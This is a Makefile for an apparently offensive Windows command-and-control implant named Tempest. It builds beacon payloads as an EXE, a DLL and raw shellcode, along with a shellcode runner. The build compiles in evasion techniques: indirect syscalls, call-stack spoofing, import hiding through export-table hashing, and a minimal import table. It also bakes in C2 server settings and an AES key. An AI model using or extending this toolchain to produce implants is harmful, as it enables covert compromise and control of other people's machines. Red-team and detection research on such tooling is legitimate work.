# Tempest Windows C implant — multi-format: PE exe/DLL and true flat shellcode.
# Stargate (T2005) in ./stargate/; BM-T6001 Morpheus in ./stargate/morpheus/ (vendored — must
# not reference ../../techniques/; that tree is not shipped with the repo).
# Cross-build: MinGW x86_64 (Linux host).
# C2 console trace: default on. Silence: `make ... CPPFLAGS=-DTEMPEST_C2_TRACE=0` (CPPFLAGS is passed to gcc).
#
# C2 crypto: `include/tempest_bootstrap.h` is generated from the environment variable AES_KEY
# (set by Anvil on startup, or passed through by `build_imp`). No hand-editing; run `make` on a
# host where `echo "$AES_KEY" | wc -c` is 44 (43 chars + newline) after Anvil is running.
#
# Targets:
#   make / make exe   → beacon.exe
#   make dll          → beacon.dll
#   make raw          → beacon.bin  (flat .rdata+.text+.data, no PE in artifact)
#   make runner       → tools/shellcode_runner.exe (lab harness for beacon.bin)
#   make all          → exe + dll + raw + runner
#
# `raw` is a single mappable image from shellcode.ld (imports discarded; EAT resolution only).

CC       := x86_64-w64-mingw32-gcc
OBJCOPY  := x86_64-w64-mingw32-objcopy
OBJDUMP  := x86_64-w64-mingw32-objdump
STARG    := stargate

.DEFAULT_GOAL := exe

CFLAGS   := -Wall -Wextra -O2 -std=c11 -D_WIN32_WINNT=0x0601
CFLAGS   += -Wno-cast-function-type -Wno-array-bounds
MORPHEUS_DIR := $(STARG)/morpheus
CFLAGS   += -I$(STARG) -I src -Iinclude -I$(MORPHEUS_DIR)
MORPHEUS := $(MORPHEUS_DIR)/morpheus.c $(MORPHEUS_DIR)/morpheus_syscalls.s

ifdef SERVER
  CFLAGS += -DTS_SERVER=\"$(SERVER)\"
endif
ifdef PORT
  CFLAGS += -DTS_PORT=\"$(PORT)\"
endif
ifdef SLEEP
  CFLAGS += -DTS_SLEEP=\"$(SLEEP)\"
endif
ifdef JITTER
  CFLAGS += -DTS_JITTER=\"$(JITTER)\"
endif
ifdef UUID
  CFLAGS += -DTS_UUID=\"$(UUID)\"
endif

SPOOF_C  := $(STARG)/bm_spoof.c
SPOOF_S  := $(STARG)/bm_spoof_asm.s
SG_C     := $(STARG)/stargate.c $(STARG)/moonwalk.c $(STARG)/sig_extract.c \
            $(STARG)/loader.c $(STARG)/syscalls.c $(STARG)/indirect_syscalls.c
# sig_extract file path: kernel32 resolved by EAT hash (no static CreateFile* import). PIC build omits sig_extract.
SG_C_SC  := $(STARG)/stargate.c $(STARG)/moonwalk.c \
            $(STARG)/loader.c $(STARG)/syscalls.c $(STARG)/indirect_syscalls.c
SG_S     := $(STARG)/syscalls_asm.s $(STARG)/indirect_syscalls_asm.s

CORE     := src/beacon_core.c
PIC      := src/pic_stubs.c
ENTRY_SC := src/entry_sc.c
DEPS     := $(CORE) $(SPOOF_C) $(SG_C) $(SPOOF_S) $(SG_S)
DEPS_SC  := $(CORE) $(PIC) $(SPOOF_C) $(SG_C_SC) $(SPOOF_S) $(SG_S)
C2C      := src/tempest_c2.c
BOOT     := include/tempest_bootstrap.h
HDRS     := $(STARG)/stargate.h $(STARG)/bm_spoof.h $(MORPHEUS_DIR)/morpheus.h \
            src/beacon_core.h include/tempest_c2.h

LDFLAGS_COMMON := -lntdll
# C2 uses LoadLibraryA + EAT resolution for winhttp/bcrypt — not linked here (smaller IAT).
LDFLAGS_C2     :=
# Default 1MB stack is tight with WinHTTP/BCrypt frames; large task buffers live in .bss now.
LDFLAGS_STACK := -Wl,--stack,4194304
LDFLAGS_DLL    := -shared $(LDFLAGS_COMMON) $(LDFLAGS_C2) $(LDFLAGS_STACK)

# PIC / flat binary — no ntdll import lib; EAT+syscall only. -lgcc for compiler helpers.
PIC_CPPFLAGS := -DTEMPEST_PIC_SHELLCODE=1
PIC_CFLAGS   := $(PIC_CPPFLAGS) -fno-stack-protector -fno-asynchronous-unwind-tables -fno-ident
PIC_LDFLAGS  := -nostdlib -static-libgcc -lgcc
PIC_LDX      := -Wl,-T,shellcode.ld -Wl,--no-seh -Wl,-e,shellcode_entry

OUT_EXE    := beacon.exe
OUT_DLL    := beacon.dll
OUT_RAW    := beacon.bin
OUT_SCPE   := beacon_sc.exe
OUT_RUNNER := tools/shellcode_runner.exe

.PHONY: all exe dll raw runner clean FORCE

all: exe dll raw runner

exe: $(OUT_EXE)
dll: $(OUT_DLL)
raw: $(OUT_RAW)
runner: $(OUT_RUNNER)

# Always regenerate so a changed AES_KEY in the environment is picked up (e.g. new aes_key.bin).
$(BOOT): FORCE
	@mkdir -p include
	@test -n "$$AES_KEY" || (echo "win-stargate: AES_KEY is not set. Start Anvil (it sets AES_KEY from aes_key.bin), then build, or: export AES_KEY to the 43-char URL-safe key from the server log." >&2; exit 1)
	@{ \
	  printf '/* generated by Makefile from environment AES_KEY — do not commit */\n'; \
	  printf '#ifndef TEMPEST_BOOTSTRAP_H\n#define TEMPEST_BOOTSTRAP_H\n#define TEMPEST_AES_KEY_B64 "'; \
	  printf %s "$$AES_KEY"; \
	  printf '"\n#endif\n'; \
	} > $@

$(OUT_EXE): src/entry_exe.c $(DEPS) $(MORPHEUS) $(C2C) $(HDRS) $(BOOT)
	$(CC) $(CPPFLAGS) $(CFLAGS) -mconsole src/entry_exe.c $(DEPS) $(MORPHEUS) $(C2C) -o $@ $(LDFLAGS_COMMON) $(LDFLAGS_C2) $(LDFLAGS_STACK)

$(OUT_DLL): src/entry_dll.c $(DEPS) $(MORPHEUS) $(C2C) exports_beacon.def $(HDRS) $(BOOT)
	$(CC) $(CPPFLAGS) $(CFLAGS) -shared src/entry_dll.c $(DEPS) $(MORPHEUS) $(C2C) exports_beacon.def -o $@ $(LDFLAGS_DLL)

# Intermediate PE (discarded) — only to satisfy ld + objcopy -j .text
$(OUT_SCPE): $(ENTRY_SC) $(DEPS_SC) $(HDRS) shellcode.ld
	$(CC) $(CPPFLAGS) $(CFLAGS) $(PIC_CFLAGS) $(ENTRY_SC) $(DEPS_SC) -o $@ \
		$(PIC_LDFLAGS) $(PIC_LDX)

$(OUT_RAW): $(OUT_SCPE)
	$(OBJCOPY) -O binary -j .rdata -j .text -j .data $(OUT_SCPE) $@
	@OFF=$$($(OBJDUMP) -h $(OUT_SCPE) | awk '$$2 == ".rdata" {print $$3}'); \
	 echo "0x$$OFF" > $(OUT_RAW).entry_offset
	@ls -l $@
	@file $@
	@echo "[+] $(OUT_RAW): flat .rdata+.text+.data; entry offset in $(OUT_RAW).entry_offset (for tools/shellcode_runner)"

$(OUT_RUNNER): tools/shellcode_runner.c
	@mkdir -p tools
	$(CC) -Wall -O2 -std=c11 -D_WIN32_WINNT=0x0601 tools/shellcode_runner.c -o $@ -mconsole

clean:
	rm -f $(OUT_EXE) $(OUT_DLL) $(OUT_RAW) $(OUT_RAW).entry_offset $(OUT_SCPE) $(OUT_RUNNER) beacon_code.bin *.o
	rm -f $(BOOT)
